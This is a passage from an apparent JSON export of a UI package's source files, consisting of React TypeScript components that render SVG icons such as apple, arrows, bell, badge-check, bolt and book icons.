    "content": "import { SVGProps } from \"react\";\n\nexport function AppleLogo(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"24\"\n      width=\"24\"\n      viewBox=\"0 0 24 24\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g\n        fill=\"currentColor\"\n        strokeLinecap=\"square\"\n        strokeLinejoin=\"miter\"\n        strokeMiterlimit=\"10\"\n      >\n        <path\n          d=\"M20.1407 16.7842C19.676 17.8035 19.4543 18.2585 18.8551 19.1592C18.0214 20.417 16.8442 21.9835 15.3865 21.997C14.091 22.0092 13.758 21.1627 12 21.172C10.242 21.1813 9.87505 22.012 8.57954 21.9999C7.12182 21.987 6.00764 20.572 5.17254 19.3135C2.83863 15.7957 2.59497 11.6678 4.03427 9.47356C5.05708 7.91357 6.67134 7.00144 8.18855 7.00144C9.73339 7.00144 10.7045 7.84 11.9823 7.84C13.2218 7.84 13.9762 7.00001 15.7633 7.00001C17.1133 7.00001 18.5441 7.72786 19.5634 8.9857C16.2237 10.7993 16.7663 15.5214 20.1407 16.7842Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"2\"\n        />\n        <path\n          d=\"M15.3652 3.793C16.0815 2.87425 16.5702 1.63176 16.373 0.305766C15.203 0.386016 13.89 1.07576 13.0912 2.0455C12.3667 2.92525 11.7675 4.231 12 5.5C13.2765 5.53975 14.598 4.77775 15.3652 3.793Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/apple.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Apple(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M13.964,5.405c-1.595-1.267-3.391-.223-4.909-.223s-3.131-1.107-4.909,.223-1.95,4.687,.025,7.801c1.895,2.989,3.805,1.817,4.886,1.817s2.992,1.174,4.886-1.817c1.973-3.114,1.489-6.639,.021-7.801Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.5,.25h0c.276,0,.5,.224,.5,.5h0c0,1.38-1.12,2.5-2.5,2.5h0c-.276,0-.5-.224-.5-.5h0c0-1.38,1.12-2.5,2.5-2.5Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/arrow-bold-up.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ArrowBoldUp(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.391,8.448L9.398,1.867c-.2-.264-.597-.264-.797,0L3.609,8.448c-.25,.329-.015,.802,.398,.802h2.743v6c0,.552,.448,1,1,1h2.5c.552,0,1-.448,1-1v-6h2.743c.413,0,.648-.473,.398-.802Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/arrow-right.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ArrowRight(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"2.75\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"11 4.75 15.25 9 11 13.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/arrow-trend-up.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ArrowTrendUp(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M1.75,12.25l3.646-3.646c.195-.195,.512-.195,.707,0l3.293,3.293c.195,.195,.512,.195,.707,0l6.146-6.146\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"11.25 5.75 16.25 5.75 16.25 10.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/arrow-turn-left.tsx",
    "content": "import { SVGProps, type JSX } from \"react\";\n\nexport function ArrowTurnLeft(props: SVGProps<SVGSVGElement>): JSX.Element {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M2.75,9.75H13.25c1.105,0,2-.895,2-2V3.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"7 5.5 2.75 9.75 7 14\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/arrow-turn-right2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ArrowTurnRight2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M15.25,9.75H4.75c-1.105,0-2-.895-2-2V3.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"11 5.5 15.25 9.75 11 14\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/arrow-up-right.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ArrowUpRight(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14.25\"\n          x2=\"3.75\"\n          y1=\"3.75\"\n          y2=\"14.25\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"8.24 3.75 14.25 3.75 14.25 9.76\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/arrows-opposite-direction-x.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ArrowsOppositeDirectionX(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"5.5 9.5 2.25 6.25 5.5 3\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"12.5 15 15.75 11.75 12.5 8.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.25\"\n          x2=\"10.25\"\n          y1=\"6.25\"\n          y2=\"6.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.75\"\n          x2=\"7.75\"\n          y1=\"11.75\"\n          y2=\"11.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/arrows-opposite-direction-y.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ArrowsOppositeDirectionY(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"8.5 12.5 11.75 15.75 15 12.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"3 5.5 6.25 2.25 9.5 5.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.75\"\n          x2=\"11.75\"\n          y1=\"15.75\"\n          y2=\"7.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.25\"\n          x2=\"6.25\"\n          y1=\"2.25\"\n          y2=\"10.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/at-sign.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function AtSign(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <ellipse\n          cx=\"8.875\"\n          cy=\"8.875\"\n          fill=\"none\"\n          rx=\"2.875\"\n          ry=\"3.125\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.75,5.75v5.183c0,1.554,2.336,1.822,3.572-.279,1.048-1.778,.791-4.49-.518-6.274-1.926-2.627-6.379-3.609-9.613-1.438-2.973,1.996-4.031,6.033-2.389,9.296,1.625,3.229,5.44,4.794,8.893,3.626\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/badge-check.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BadgeCheck(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M16.25,9c0-1.07-.675-1.975-1.619-2.332,.415-.92,.252-2.038-.504-2.794s-1.874-.92-2.794-.504c-.357-.945-1.263-1.619-2.332-1.619s-1.975,.675-2.332,1.619c-.92-.416-2.038-.252-2.794,.504s-.919,1.874-.504,2.794c-.945,.357-1.619,1.263-1.619,2.332s.675,1.975,1.619,2.332c-.415,.92-.252,2.038,.504,2.794s1.874,.92,2.794,.504c.357,.945,1.263,1.619,2.332,1.619s1.975-.675,2.332-1.619c.92,.415,2.038,.252,2.794-.504s.92-1.874,.504-2.794c.945-.357,1.619-1.263,1.619-2.332Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"5.75 9.25 8 11.75 12.25 6.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/badge-check2-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BadgeCheck2Fill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M16.249,7.763s0,0,0,0l-1.248-1.248v-1.765c0-.965-.785-1.75-1.75-1.75h-1.765l-1.249-1.249c-.681-.68-1.791-.681-2.474,0l-1.248,1.248h-1.765c-.965,0-1.75,.785-1.75,1.75v1.765l-1.249,1.249c-.681,.682-.681,1.792,0,2.474l1.248,1.248v1.765c0,.965,.785,1.75,1.75,1.75h1.765l1.249,1.249c.341,.34,.789,.511,1.237,.511s.896-.17,1.237-.511l1.248-1.248h1.765c.965,0,1.75-.785,1.75-1.75v-1.765l1.249-1.249c.681-.682,.681-1.792,0-2.474Zm-3.784-.8l-3.923,5c-.136,.174-.343,.279-.564,.287-.009,0-.017,0-.026,0-.212,0-.414-.089-.557-.247l-1.827-2.023c-.277-.308-.253-.782,.054-1.06,.307-.277,.782-.253,1.06,.054l1.23,1.362,3.374-4.299c.256-.326,.727-.383,1.053-.127,.326,.255,.383,.727,.127,1.053Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/bell.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Bell(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M15.75 12.75C14.645 12.75 13.75 11.855 13.75 10.75V6.5C13.75 3.877 11.623 1.75 9 1.75C6.377 1.75 4.25 3.877 4.25 6.5V10.75C4.25 11.855 3.355 12.75 2.25 12.75H15.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M10.5 15.3843C10.2005 15.9018 9.6409 16.25 9 16.25C8.3591 16.25 7.7995 15.9018 7.5 15.3843\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/blog.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Blog(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.25,12.25v2c0,1.105-.895,2-2,2H3.75c-1.105,0-2-.895-2-2V3.75c0-1.105,.895-2,2-2H12.25c1.105,0,2,.895,2,2v1.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.375,10.625c.444-.444,2.948-2.948,4.216-4.216,.483-.483,.478-1.261-.005-1.745h0c-.483-.483-1.261-.489-1.745-.005-1.268,1.268-3.772,3.772-4.216,4.216-.625,.625-1.125,2.875-1.125,2.875,0,0,2.25-.5,2.875-1.125Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.75\"\n          x2=\"9.25\"\n          y1=\"5.75\"\n          y2=\"5.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.75\"\n          x2=\"7\"\n          y1=\"8.75\"\n          y2=\"8.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.75\"\n          x2=\"6.25\"\n          y1=\"11.75\"\n          y2=\"11.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/bolt-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BoltFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.922,7.657c-.218-.405-.64-.657-1.1-.657h-3.969l.752-5.83c.061-.464-.204-.902-.643-1.065-.438-.164-.926-.004-1.184,.387L3.134,9.063c-.253,.384-.274,.875-.056,1.28s.64,.657,1.1,.657h3.969l-.752,5.83c-.061,.464,.204,.902,.643,1.065,.115,.043,.234,.064,.352,.064,.328,0,.642-.162,.832-.45h0s5.645-8.572,5.645-8.572c.253-.384,.274-.875,.056-1.28Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/bolt.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Bolt(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"m8.597,16.41l5.872-8.265c.118-.166,0-.395-.204-.395h-5.016l.604-5.98c.037-.26-.299-.394-.451-.18L3.531,9.855c-.118.166,0,.395.204.395h5.016l-.604,5.98c-.037.26.299.394.451.18Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/book-open.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BookOpen(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"m9,15.051c.17,0,.339-.045.494-.134.643-.371,1.732-.847,3.141-.845.899.001,1.667.197,2.27.435.648.255,1.344-.24,1.344-.937V4.487c0-.354-.181-.68-.486-.86-.637-.376-1.726-.863-3.14-.863-1.89,0-3.198.872-3.624,1.182\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"m13.9962,6.9204c-.4133-.0954-.8729-.1564-1.3732-.1564s-.9599.0611-1.3731.1567\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"m13.9962,10.4204c-.4133-.0954-.8729-.1564-1.3732-.1564s-.9599.0611-1.3731.1567\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"m9,15.051c-.17,0-.339-.045-.494-.134-.643-.371-1.732-.847-3.141-.845-.899.001-1.667.197-2.27.435-.648.255-1.344-.237-1.344-.933V4.484c0-.354.181-.676.486-.856.637-.376,1.726-.863,3.14-.863,1.89,0,3.198.872,3.624,1.182h0v11.104h-.001Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/book2-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Book2Fill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M15.923,13.069c.006-.013,.015-.023,.02-.036,.034-.083,.049-.169,.052-.258,0-.009,.005-.016,.005-.025V1.75c0-.414-.336-.75-.75-.75H4.75c-1.517,0-2.75,1.233-2.75,2.75V14.5c0,1.378,1.121,2.5,2.5,2.5H15.25c.286,0,.547-.163,.673-.419s.096-.562-.079-.789c-.522-.679-.434-2.013,.004-2.589,.032-.042,.053-.088,.075-.135ZM8.75,4.5h3.5c.414,0,.75,.336,.75,.75s-.336,.75-.75,.75h-3.5c-.414,0-.75-.336-.75-.75s.336-.75,.75-.75Zm0,3h3.5c.414,0,.75,.336,.75,.75s-.336,.75-.75,.75h-3.5c-.414,0-.75-.336-.75-.75s.336-.75,.75-.75ZM3.5,3.75c0-.689,.561-1.25,1.25-1.25h.25V12h-.5c-.356,0-.693,.077-1,.212V3.75ZM14.092,15.5H4.5c-.552,0-1-.449-1-1s.448-1,1-1H14.105c-.155,.629-.174,1.339-.014,2Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/book2-small.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Book2Small(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"12\"\n      width=\"12\"\n      viewBox=\"0 0 12 12\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"m1.75,9.75h0c0,.828.672,1.5,1.5,1.5h7\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"m1.75,9.75V2.25c0-.828.672-1.5,1.5-1.5h5.5c.828,0,1.5.672,1.5,1.5v6H3.25c-.828,0-1.5.672-1.5,1.5Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.25\"\n          x2=\"4.75\"\n          y1=\"4.25\"\n          y2=\"4.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/book2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Book2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"5.75\"\n          y1=\"1.75\"\n          y2=\"12.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8.75\"\n          x2=\"12.25\"\n          y1=\"5.25\"\n          y2=\"5.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8.75\"\n          x2=\"12.25\"\n          y1=\"8.25\"\n          y2=\"8.25\"\n        />\n        <path\n          d=\"M2.75,14.5V3.75c0-1.105,.895-2,2-2H15.25V12.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.25,16.25h-.75c-.966,0-1.75-.783-1.75-1.75s.784-1.75,1.75-1.75H15.25c-.641,.844-.734,2.547,0,3.5H5.25Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/books2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Books2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <rect\n          height=\"12.5\"\n          width=\"4\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"5.75\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"10.5\"\n          width=\"3\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"4.75\"\n        />\n        <rect\n          height=\"10.5\"\n          width=\"3.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(-2.382 4.324) rotate(-17.344)\"\n          x=\"11.235\"\n          y=\"4.719\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.934\"\n          x2=\"14.275\"\n          y1=\"9.272\"\n          y2=\"8.228\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"9.75\"\n          y1=\"7.25\"\n          y2=\"7.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.75\"\n          x2=\"5.75\"\n          y1=\"8.75\"\n          y2=\"8.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1\"\n          x2=\"17\"\n          y1=\"15.25\"\n          y2=\"15.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/box-archive.tsx",
